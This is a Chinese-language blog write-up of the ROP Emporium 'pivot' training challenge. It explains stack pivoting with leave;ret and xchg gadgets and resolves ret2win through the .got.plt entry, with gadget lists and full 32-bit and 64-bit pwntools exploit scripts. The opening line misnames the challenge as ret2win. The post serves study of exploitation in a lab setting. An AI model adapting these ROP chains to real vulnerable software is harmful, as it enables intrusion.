这篇博客主要是关于rop emporium(2020年7月的版本)的ret2win这道题的学习记录
因为网上都是比较早版本的题解,所以写了这篇博客,不过这道题倒是变化不大。
题目链接:https://ropemporium.com/challenge/pivot.html
备注:以下题目都是在ubuntu16.04下完成
32位
stack pivot意思是将栈指针转移到别的地方。这是一种很有用的rop技巧,主要用于以下情况:
- 链长度有限制
- 无法控制栈
在这个题目中,需要用到前面学到的关于.plt,.got.plt的知识。这个题目导入了一个叫foothold_function的函数同时也包含一个ret2win函数。
ret2win函数的共享对象没有导入,但不意味着无法使用ROP调用该函数。题目给了一个思路,找到foothold_function的.got.plt的entry,然后加上ret2win的偏移,来求出ret2win的真实地址。需要注意的是,foothold_function()在正常程序执行流不会被调用,需要我们来调用从而更新它的.got.plt的entry。
首先,ida分析pivot32文件,反编译main函数,从main函数可以看到,main函数申请了一个堆空间ptr,然后将这个作为pwnme的参数。
再看看pwnme函数,题目很人性化地告诉我们了buf的地址,也就是之前构造的堆的地址。pwnme函数有两个输入,第一个在堆上,第二个在栈上,并且存在溢出。
由于溢出的字节比较少,在栈上构造rop链不太可能。这道题的话,刚好是可以转移到堆上去构造rop链。在第一个输入的时候,构造调用libpivot32.so里的ret2win的payload。在第二个输入的时候,将控制流转移到堆上去执行。
那么现在有两个问题:
- 怎么调用libpivot32.so的ret2win函数?
- 如何将控制流转移到堆上去执行?
对于第一个问题,按照题目给的提示,我们可以在pivot32的二进制找到foothold_function的plt和got表项,还可以在libpivot32.so找到ret2win这个函数。
那么我们可以借助foothold_function作为跳板,找到ret2win函数的实际地址。首先,利用foothold_function函数的plt地址,利用mov eax, [eax] gadget获取到foothold_function的.got.plt,再利用foothold_function与ret2win的偏移,计算出ret2win的实际地址。最后利用call eax gadget调用ret2win函数。
对于第二个问题,是用的leave指令来转移控制流的。
首先,栈的结构一般由buffer,ebp,return address组成的。
然后,leave指令在汇编上相当于:
mov esp,ebp
pop ebp
实际上,这里执行了两次的leave_ret过程。第一次函数运行结束后,进行leave的时候,会把ebp丢到堆空间的地方。然后利用第一次ret跳转到leave_ret的gadget的地方再执行一次leave_ret,从而将esp也弄到堆空间的payload_1处。由于每次ret都会使得esp+4,所以,伪造的ebp的地址要减去4。
需要的gadget:
0x080485f5 : leave ; ret
0x0804882c : pop eax ; ret
0x080484a9 : pop ebx ; ret
0x08048830 : mov eax, dword ptr [eax] ; ret
0x08048833 : add eax, ebx ; ret
0x080485f0 : call eax
exp是参考CTF all-in-one写的:
from pwn import *
binary = "./pivot32"
io = process(binary)
elf = ELF(binary)
lib = ELF("./libpivot32.so")
leave_ret = 0x080485f5
pop_eax = 0x0804882c
pop_ebx = 0x080484a9
mov_eax_eax = 0x08048830
add_eax_ebx = 0x08048833
call_eax = 0x080485f0
foothold_plt = elf.plt['foothold_function']
foothold_got = elf.got['foothold_function']
offset = int(lib.sym['ret2win']-lib.sym['foothold_function'])
leakaddr = int(io.recv().split()[20],16)
def step1():
payload_1 = p32(foothold_plt)
payload_1 += p32(pop_eax)
payload_1 += p32(foothold_got)
payload_1 += p32(mov_eax_eax)
payload_1 += p32(pop_ebx)
payload_1 += p32(offset)
payload_1 += p32(add_eax_ebx)
payload_1 += p32(call_eax)
io.sendline(payload_1)
def step2():
payload_2 = "a" * 40
payload_2 += p32(leakaddr - 4)
payload_2 += p32(leave_ret)
io.recvuntil(">")
io.sendline(payload_2)
print io.recvall()
if __name__ == "__main__":
step1()
step2()
最后结果:
64位
和32位一样的思路。就是不需要用leavegadget来构造栈帧,直接用xchg rax,rsp这个gadget来构造栈帧就可以了。
需要用到的gadget:
0x00000000004006b0 : call rax
0x00000000004009c0 : mov rax, qword ptr [rax] ; ret
0x00000000004009c4 : add rax, rbp ; ret
0x00000000004009bb : pop rax ; ret
0x00000000004007c8 : pop rbp ; ret
0x00000000004009bd : xchg rax, rsp ; ret
exp如下:
from pwn import *
binary = "./pivot"
io = process(binary)
elf = ELF(binary)
lib = ELF("./libpivot.so")
xchg_rax_rsp = 0x4009bd
pop_rax = 0x4009bb
pop_rbp = 0x4007c8
mov_rax_rax = 0x4009c0
add_rax_rbp = 0x4009c4
call_rax = 0x4006b0
foothold_plt = elf.plt['foothold_function']
foothold_got = elf.got['foothold_function']
offset = int(lib.sym['ret2win']-lib.sym['foothold_function'])
leakaddr = int(io.recv().split()[20],16)
def step1():
payload_1 = p64(foothold_plt)
payload_1 += p64(pop_rax)
payload_1 += p64(foothold_got)
payload_1 += p64(mov_rax_rax)
payload_1 += p64(pop_rbp)
payload_1 += p64(offset)
payload_1 += p64(add_rax_rbp)
payload_1 += p64(call_rax)
io.sendline(payload_1)
def step2():
payload_2 = "a" * 40
payload_2 += p64(pop_rax)
payload_2 += p64(leakaddr)
payload_2 += p64(xchg_rax_rsp)
io.recvuntil(">")
io.sendline(payload_2)
print io.recvall()
if __name__ == "__main__":
step1()
step2()
最后结果: